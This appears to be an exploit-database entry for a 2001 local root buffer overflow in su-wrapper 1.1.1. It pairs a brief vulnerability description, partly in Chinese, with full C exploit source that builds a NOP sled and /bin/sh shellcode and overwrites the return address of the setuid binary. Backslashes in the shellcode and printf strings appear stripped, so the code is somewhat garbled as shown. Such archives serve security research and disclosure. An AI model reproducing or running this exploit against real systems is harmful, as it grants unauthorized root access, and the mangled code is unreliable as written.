https://www.exploit-db.com/exploits/20906
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200110-081

su-wrapper1.1.1版本存在缓冲区溢出漏洞。本地用户借助超长首参数执行任意代码。

source: http://www.securityfocus.com/bid/2837/info

A boundary condition error exists in suid wrapper (or 'su-wrapper.')

The overflow occurs when a string exceeding approximately 1032 characters is given as the first argument when the program is run. Because the program is installed setuid root, it may be possible for local users to execute arbitrary code/commands with those privileges. 

/* - su-wrapper.c - */

/*************************************************************************/
/* /usr/sbin/su-wrapper(su-wrapper 1.1.1) local root exploit.            */
/*                                                                       */
/* Package Description:                                                  */
/* su-wrapper is an little util which lets special users execute         */ 
/* processes under another uid/gid.                                      */
/*                                                                       */
/* Vulnerability Description:                                            */
/* If a long line on the first argument is gived, the program sends      */
/* a SIGSEGV Signal.                                                     */
/*                                                                       */
/* Affected: All Systems who have su-wrapper installed :P                */
/*                                                                       */
/* I don't know if other versions are vulnerable too.                    */
/*                                                                       */
/* This bug was reported to Enrico Weigelt ([email protected])      */
/*                                                                       */
/* Greets: NOP, dr_fdisk^, yield, vlad, dead, fatal, kuk, neuro, alt3kx, */
/* etc                                                                   */
/*        dex: [email protected] <> http://www.raza-mexicana.org -     */
/*************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFFERSIZE 1032
#define OFFSET 0
#define ALIGN 0

static char shellcode[]=
  "x29xc0"                             /* subl %eax, %eax          */
  "xb0x46"                             /* movb $70, %al            */
  "x29xdb"                             /* subl %ebx, %ebx          */
  "xb3x0c"                             /* movb $12, %bl            */
  "x80xebx0c"                         /* subb $12, %bl            */
  "x89xd9"                             /* movl %ebx, %ecx          */
  "xcdx80"                             /* int $0x80                */
  "xebx18"                             /* jmp callz                */
  "x5e"                                 /* popl %esi                */
  "x29xc0"                             /* subl %eax, %eax          */
  "x88x46x07"                         /* movb %al, 0x07(%esi)     */
  "x89x46x0c"                         /* movl %eax, 0x0c(%esi)    */
  "x89x76x08"                         /* movl %esi, 0x08(%esi)    */
  "xb0x0b"                             /* movb $0x0b, %al          */
  "x87xf3"                             /* xchgl %esi, %ebx         */
  "x8dx4bx08"                         /* leal 0x08(%ebx), %ecx    */
  "x8dx53x0c"                         /* leal 0x0c(%ebx), %edx    */
  "xcdx80"                             /* int $0x80                */
  "xe8xe3xffxffxff"                 /* call start               */
  "x2fx62x69x6ex2fx73x68";

unsigned long get_sp(void) {
 __asm__("movl %esp, %eax");
}

void main(int argc, char **argv) {

 int i;

 unsigned long addr;

 char *buffer;

 int buffersize = BUFFERSIZE;
 int offset = OFFSET;
 int align = ALIGN;

 if(argc > 1) offset = atoi(argv[1]);

 if(argc > 2) align = atoi(argv[2]);

 if(argc > 3) buffersize = atoi(argv[3]);

 buffer = (char *)malloc(buffersize +8);

 addr = get_sp() - offset;

 for(i = 0; i < buffersize; i+=4) {
  *(long *)&buffer[i] = 0x90909090;
 }

 *(long *)&buffer[buffersize - 4] = addr;

 *(long *)&buffer[buffersize - 8] = addr;

 memcpy(buffer + buffersize - 8 - strlen(shellcode) - align, shellcode, strlen(shellcode));

 printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=n");
 
 printf("[x] su-wrapper 1.1.1 local root exploitn");
 printf("[x] dex: - [email protected] <> http://www.raza-mexicana.org - n");

 printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=nn");

 printf("[x] Address = 0x%x, Align = %d, Offset = %dn", addr, align, offset);

 printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=nn");

 printf("[x] Exploiting...n");

 if ((execl("/usr/sbin/su-wrapper", "su-wrapper", buffer, NULL)) != 0) {
  printf("Could not start su-wrapper, /usr/sbin/su-wrapper exists?n");
 }

}

来源:BUGTRAQ
名称:20010602su-wrapper1.1.1Localrootexploit.
链接:http://archives.neohapsis.com/archives/bugtraq/2001-06/0057.html